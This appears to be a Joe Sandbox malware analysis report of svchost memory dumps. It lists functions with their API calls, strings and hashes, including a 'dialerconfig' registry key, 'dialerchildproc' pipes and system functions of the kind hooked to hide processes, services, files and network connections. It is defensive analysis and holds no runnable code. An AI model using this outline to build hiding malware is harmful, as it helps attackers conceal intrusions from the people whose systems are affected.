Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c2eb12f427962f4a473e0d6cdd6568ad5d847194dadf60defaa1d10753933b52
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A871D676250E92C6EB209F76E8906F923E4FB84BCDF046161DE4E57A69EF38C444C744

Function 000001F28C9312BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
GetProcessHeap.KERNEL32 ref: 000001F28C931327
HeapAlloc.KERNEL32 ref: 000001F28C931338
RegEnumValueW.ADVAPI32 ref: 000001F28C931397

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
HeapAlloc.KERNEL32 ref: 000001F28C9313ED
GetProcessHeap.KERNEL32 ref: 000001F28C93140A
HeapFree.KERNEL32 ref: 000001F28C931418
lstrlenW.KERNEL32 ref: 000001F28C931421
GetProcessHeap.KERNEL32 ref: 000001F28C93142F
HeapAlloc.KERNEL32 ref: 000001F28C93143D
StrCpyW.SHLWAPI ref: 000001F28C93145F
GetProcessHeap.KERNEL32 ref: 000001F28C931476
HeapFree.KERNEL32 ref: 000001F28C931484

Strings

d, xrefs: 000001F28C93135A

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 18f95a425c74309a6456fd4bbe7ec78cd519c13267e7c4c7f8ddd63764443e45
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 8E512676244F85C6EB54CF62E5483BAB7E1F789BD9F048134DA4A07B68EF38C1498B00

Function 000001F28C931D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Part of subcall function 000001F28C931FD4: GetModuleHandleA.KERNEL32 ref: 000001F28C931FEC
Part of subcall function 000001F28C931FD4: GetProcAddress.KERNEL32 ref: 000001F28C931FFD

Part of subcall function 000001F28C935B30: GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B

Strings

advapi32.dll, xrefs: 000001F28C931DF7, 000001F28C931E18
NtEnumerateValueKey, xrefs: 000001F28C931DD6
EnumServicesStatusExW, xrefs: 000001F28C931E11, 000001F28C931E32
sechost.dll, xrefs: 000001F28C931E39
NtQueryDirectoryFileEx, xrefs: 000001F28C931D9C
ntdll.dll, xrefs: 000001F28C931D2D
NtResumeThread, xrefs: 000001F28C931D62
NtQuerySystemInformation, xrefs: 000001F28C931D45
NtDeviceIoControlFile, xrefs: 000001F28C931E56
NtQueryDirectoryFile, xrefs: 000001F28C931D7F
EnumServiceGroupW, xrefs: 000001F28C931DF0
NtEnumerateKey, xrefs: 000001F28C931DB9

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9487c6cd3bd73dd193c882a9535ab93ec09423b9485fe8c9d985bb2c2d5cc9fb
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A3318F79280ECBA1EA05EBB5EC616F463A4F7043C4F88A0F3E85953576AF388259C350

Function 000001F28C1D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C1D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C1D698A
_RTC_Initialize.LIBCMT ref: 000001F28C1D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C1D69DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C1D6A09

Strings

`dynamic initializer for ', xrefs: 000001F28C1D69C7
scriptor', xrefs: 000001F28C1D6B39, 000001F28C1D6BB2, 000001F28C1D6BEC
`eh vector copy constructor iterator', xrefs: 000001F28C1D6A3B
`eh vector vbase copy constructor iterator', xrefs: 000001F28C1D69EE

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3ae14674ec2a8346f3f84ed9e0c01df585913646f7da2965e941060b61735599
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F581F0717C0E038AFA54DB66A4C03F96ED0AB85BC0F448935FB498379ADB38E8458700

Function 000001F28C93CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F28C93CE37
FlsGetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE4C
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE6D
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE9A
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEAB
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEBC
SetLastError.KERNEL32 ref: 000001F28C93CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F28C93ECCC,?,?,?,?,000001F28C93BF9F,?,?,?,?,?,000001F28C937AB0), ref: 000001F28C93CF2C

Part of subcall function 000001F28C93D6CC: HeapAlloc.KERNEL32 ref: 000001F28C93D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF54

Part of subcall function 000001F28C93D744: HeapFree.KERNEL32 ref: 000001F28C93D75A
Part of subcall function 000001F28C93D744: GetLastError.KERNEL32 ref: 000001F28C93D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF76

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c1dccc9a58c3acbe364e99b3de5aaac7dedc88dfaa24f6078136831367b18d4b
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 274149713C1EC782FA68A73159553FA22C25B84BF4F2C27B4E836076E6EF3998018200

Function 000001F28C932244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F28C932259
GetCurrentProcessId.KERNEL32 ref: 000001F28C932263

Part of subcall function 000001F28C931934: OpenProcess.KERNEL32 ref: 000001F28C931952
Part of subcall function 000001F28C931934: IsWow64Process.KERNEL32 ref: 000001F28C931968
Part of subcall function 000001F28C931934: CloseHandle.KERNEL32 ref: 000001F28C931983

CreateFileW.KERNEL32 ref: 000001F28C9322BC
WriteFile.KERNEL32 ref: 000001F28C9322E4
ReadFile.KERNEL32 ref: 000001F28C932303
CloseHandle.KERNEL32 ref: 000001F28C93230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001F28C932293
\\.\pipe\dialerchildproc64, xrefs: 000001F28C93228C

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 57cb264d3990d0bdc8e496bdce57bc45f54469c11ba177c15f029bb998e39be8
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: BE213876658E82C2EB209B25F4443BA67E0F789BE5F544265EA5907AA8DF3CC149CB00

Function 000001F28C1D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C1D99A1

Part of subcall function 000001F28C1DA814: __GetUnwindTryBlock.LIBCMT ref: 000001F28C1DA857
Part of subcall function 000001F28C1DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C1DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C1D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C1D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C1D9DDA

Strings

csm, xrefs: 000001F28C1D99BB
csm, xrefs: 000001F28C1D9A22
csm, xrefs: 000001F28C1D9A9C

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: a9609446f00a766f3d3b655ef47b5d2ff7605ba4997714f758606ca2dc9d6f4c
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 38E15672644F828AEB609F65E4803ED7BE0F755BD8F104125EB8957B9ACF38E491C740

Function 000001F28C93A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C93A5A1

Part of subcall function 000001F28C93B414: __GetUnwindTryBlock.LIBCMT ref: 000001F28C93B457
Part of subcall function 000001F28C93B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C93B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C93A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C93A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C93A9DA

Strings

csm, xrefs: 000001F28C93A5BB
csm, xrefs: 000001F28C93A622
csm, xrefs: 000001F28C93A69C

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e40025dd339e04ccce31ab42e6e43acdbfcb282d0efd4a44ebad16c513d6860d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 51E17A72640B828AEB209BB598803FD77E0F755BE8F196166EE8957B99CF34C481C701

Function 000001F28C93F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F28C93F510
GetProcAddress.KERNEL32 ref: 000001F28C93F51C

Strings

api-ms-, xrefs: 000001F28C93F45A
ext-ms-, xrefs: 000001F28C93F46D

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 13c93742e32ee18173703abb3e1a129c63d5b1ec7d71d03a5c5f3c659c718adc
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1E41AF72391E82D1EB16CB76A9087F623D1FB49BE0F0962B9DD0A87785EF39C4458314

Function 000001F28C93104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C9310B1
RegEnumValueW.ADVAPI32 ref: 000001F28C931117
GetProcessHeap.KERNEL32 ref: 000001F28C93115A
HeapAlloc.KERNEL32 ref: 000001F28C931168
GetProcessHeap.KERNEL32 ref: 000001F28C931185
HeapFree.KERNEL32 ref: 000001F28C931193

Strings

d, xrefs: 000001F28C9310D6

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: e61549d0980b68c844d3942048ca76a1816c2b656e0948ec105a341f4de0e688
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2D412A72254FC5CAE760CF61E4447EA77E1F389B99F448129DA8907B58EF38C589CB40

Function 000001F28C93D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D087
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0A6
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0CE
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0DF
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0F0

Strings

1%, xrefs: 000001F28C93D0CE
Y%, xrefs: 000001F28C93D0A6

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5dc8ff007fbd2db76a624d83063225198278ec11a387f4125d1c2f12366c8b68
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D2119332794EC782FA68973565613FA62C95B44BF4F1C63F4E839076EADF38C4028200

Function 000001F28C937510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C937538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C93758A
_RTC_Initialize.LIBCMT ref: 000001F28C9375B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C9375DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C937609

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9b580adf4509b41eb4a94773ff5a8102b7ce542dff54e5b26089740a9ad9f4c5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: ED81F771780EC386FB54AB35AA513F922D1AB85BCCF1CA4F5E90987796EB38C845C710

Function 000001F28C939DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F28C939E49
GetLastError.KERNEL32 ref: 000001F28C939E57
LoadLibraryExW.KERNEL32 ref: 000001F28C939E81
FreeLibrary.KERNEL32 ref: 000001F28C939EC7
GetProcAddress.KERNEL32 ref: 000001F28C939ED3

Strings

api-ms-, xrefs: 000001F28C939E69

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03f29b56315fbdb1e2c5d3331ac812390df4fb0cbb8384e9f5da931591f2930e
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9D31A232292E82E1EE219B62A4007F523D4B748BE0F5E6675DD2E0B7D0EF39C5858310

Function 000001F28C943DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F28C943DE5
GetLastError.KERNEL32 ref: 000001F28C943DF1
CloseHandle.KERNEL32 ref: 000001F28C943E09
CreateFileW.KERNEL32 ref: 000001F28C943E34
WriteConsoleW.KERNEL32 ref: 000001F28C943E53

Strings

CONOUT$, xrefs: 000001F28C943E15

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 67fdd3f2f8992466b5831d267c2879e71773b428b435bf4b694825e767cf1671
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 69115B71250E82C6E7508B52E8547B966E0F788FE5F448264EA5E87794DB38C9148740

Function 000001F28C933790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
GetCurrentProcess.KERNEL32 ref: 000001F28C933809
VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

Strings

wr, xrefs: 000001F28C9337FF

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9fd3b5cfc8d5e8966b9d3604d7804b60c4d561f4ad314e44b91f313a0dd5a99b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: BB112A7A745B82C2EB149B22E4082B962A0F748BD5F4841B9DE8D07B54EF3DC545C704

Function 000001F28C935B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B
GetThreadContext.KERNEL32 ref: 000001F28C935CD5

Part of subcall function 000001F28C935960: GetCurrentThreadId.KERNEL32 ref: 000001F28C935964

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 47c5c9812b7ca215d1726492dddbe4c416650bb443fc8a163cb96cfe57a725b8
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: B7D17876248F8981DB709B1AE4943BA77E0F38CBC8F151166EA8D47BA9DF38C551CB00

Function 000001F28C932F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C932F27
HeapAlloc.KERNEL32 ref: 000001F28C932F3A
StrCmpNIW.SHLWAPI ref: 000001F28C932FAF
GetProcessHeap.KERNEL32 ref: 000001F28C933015
HeapFree.KERNEL32 ref: 000001F28C933023

Strings

dialer, xrefs: 000001F28C932FA8

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: b9cea8a45f337747782123fe34ee0897264f1dc14d1d7790dfee48e93a4f475a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FF316C36781F96C2EA55DF26E9407BA67E0FB48BC4F089174DE4847B66EF38C4A18700

Function 000001F28C93CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93CFAF
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93CFE5
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D012
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D023
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D034
SetLastError.KERNEL32 ref: 000001F28C93D04F

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 418adbff46a5a50f38b0b253e874f0d0017697ca07832169e1c80a98fc2d9935
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A8119D31394EC2C2FA24A73169557FA22D66B88BF4F1863B4E836477DAEF3984018600

Function 000001F28C93199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F28C9319C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
lstrlenW.KERNEL32 ref: 000001F28C9319FB
StrCpyW.SHLWAPI ref: 000001F28C931A0E
CloseHandle.KERNEL32 ref: 000001F28C931A1C

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 1a6447b746ba72951b106e25e3206bcaab34f772bbf3986eefe84e7ef40a23b2
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5A012D71344E8282EB64DB62A4587B963E5F788BC5F488075DE4983765DF3CC549C740

Function 000001F28C9336C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C9336E4
GetCurrentProcess.KERNEL32 ref: 000001F28C9336F2
VirtualProtectEx.KERNEL32 ref: 000001F28C933714
GetCurrentProcess.KERNEL32 ref: 000001F28C933732
VirtualProtectEx.KERNEL32 ref: 000001F28C933753
TerminateThread.KERNEL32 ref: 000001F28C933762

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

